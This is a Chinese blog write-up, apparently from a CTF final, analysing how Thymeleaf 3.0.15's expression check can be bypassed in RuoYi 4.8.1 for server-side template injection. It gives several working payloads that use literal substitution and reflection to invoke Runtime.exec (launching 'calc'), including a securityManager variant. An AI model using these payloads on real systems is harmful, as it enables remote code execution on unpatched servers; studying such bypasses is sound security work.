200字
Thymeleaf3.0.15版本绕过
2025-12-10
2025-12-10

前言

这是强网杯决赛出的一个若依最新版4.8.1的一个漏洞,本质上涉及到的是thymeleaf3.0.15的绕过,去年在看thymeleaf利用的时候,就有师傅提到过3.0.15也是可以绕过的,文章:https://cn-sec.com/archives/3118198.html

有关thymeleaf的漏洞利用可以看我之前的文章:https://clowsman.github.io/2024/12/14/%E5%86%8D%E7%9C%8BThymeleaf/

这里就直接拿若依4.8.1的环境来分析一下

环境搭建

这里就直接看若依的官方部署文档来进行本地环境搭建

https://doc.ruoyi.vip/ruoyi/document/hjbs.html

3.0.15版本修复

在3.0.14之后增加了一个containsExpression函数来判断是否为表达式

在之前的文章中是利用||来绕过对$符号后面紧跟{的判断,因为LiteralSubstitutionUtil#performLiteralSubstitution这个函数会将||置空,不过在3.0.15的时候就对这个函数进行了修复

这里就是如果||之间没有内容,他会直接将||添加回去,并不会置空,所以导致表达式解析失败,从而进行修复

漏洞位置

因为是Thymeleaf的问题,所以漏洞存在于Ruoyi的单体应用版本

漏洞代码代码在ruoyi-admin模块下的com.ruoyi.web.controller.monitor处

这里直接进行了拼接导致能够进行ssti

漏洞绕过

根据大佬的文章,我们可以在官方文档中找到思路:https://www.thymeleaf.org/doc/tutorials/3.0/usingthymeleaf.html#literal-substitutions

就相当于我们可以在||之间嵌入一个表达式进行解析,这时候我们可以用下面这种payload的形式来绕过containsExpression同时又达到嵌套解析表达式的形式

__|$${<表达式>}|__::

首先解析引擎会拿到|$${<表达式>}|这个内容,然后containsExpression判断$后面如果不紧跟{的话,就直接返回false认为这不是一个表达式了,从而绕过containsExpression,此时我们的||又符合官方文档中的字面替换,那么他就会直接去解析表达式了

然后我就想着用之前的payload修改一下来进行rce

__|$${''.getClass().forName('java.lang.Runtime').getMethod('exec',''.getClass()).invoke(''.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null),'calc')}|__::.x

但是发现这个payload在若依的环境报错了,我单独开了一个thymeleaf3.0.15的项目进行测试,这个payload是能成功的,在若依的报错如下:

调试了半天也没发现哪里有问题,也没发现若依有自己加过滤,看大佬的文章也是不能直接exec,用反射进行了绕过

一步步来看哪里被拦截了吧

这里用response.getWriter来将结果打印出来

fragment=__|$${#response.getWriter().print(''.getClass().forName('java.lang.Runtime'))}|__

可以看到这里第一步是可以获取Runtime的Class的,但是我一旦直接getMethod获取exec他就报错了,获取所有反射方法然后利用选择器获取exec

fragment=__|$${#response.getWriter().print(''.getClass().forName('java.lang.Runtime').getMethods.?[name=='exec'][0])}|__

可以看到这样就能获取到exec了,接下来就是invoke这个方法了,所以我们还需要获取一个Runtime的实例,所以先要获取getRuntime方法然后调用,同样用上面的方式

fragment=__|$${#response.getWriter().print(''.getClass().forName('java.lang.Runtime').getMethods.?[name=='getRuntime'][0])}|__

可以看到这样我们就获取到了getRuntime方法

然后跟上一个payload组合一下就可以调用exec执行命令了

fragment=__|$${#response.getWriter().print(''.getClass().forName('java.lang.Runtime').getMethods.?[name=='exec'][0].invoke(''.getClass().forName('java.lang.Runtime').getMethods.?[name=='getRuntime'][0].invoke(null),'calc',null))}|__

这个payload试了一下在原来创建的纯thymeleaf项目也是可以成功的

emmm还是不清楚前面一开始为什么被拦截了,不清楚是用了什么安全机制

其他payload

大佬的文章获取Runtime还有一种方式,就是利用securityManager,这里copy payload过来

fragment=__|$${#response.getWriter().print(@securityManager.getClass().getClassLoader().loadClass('java.lang.Runtime').getMethods.?[name=='getRuntime'][0].invoke(null).getClass.getMethods.?[name=='exec'][0].invoke(@securityManager.getClass().getClassLoader().loadClass('java.lang.Runtime').getMethods.?[name=='getRuntime'][0].invoke(null),'calc',null))}|__::.x

参考

https://gowninng.cn/archives/34429c47-d80f-49d0-af69-7a871353a44f

https://mp.weixin.qq.com/s/uxvGbO4biM87DVSXA_ZlQw

https://cn-sec.com/archives/3118198.html

评论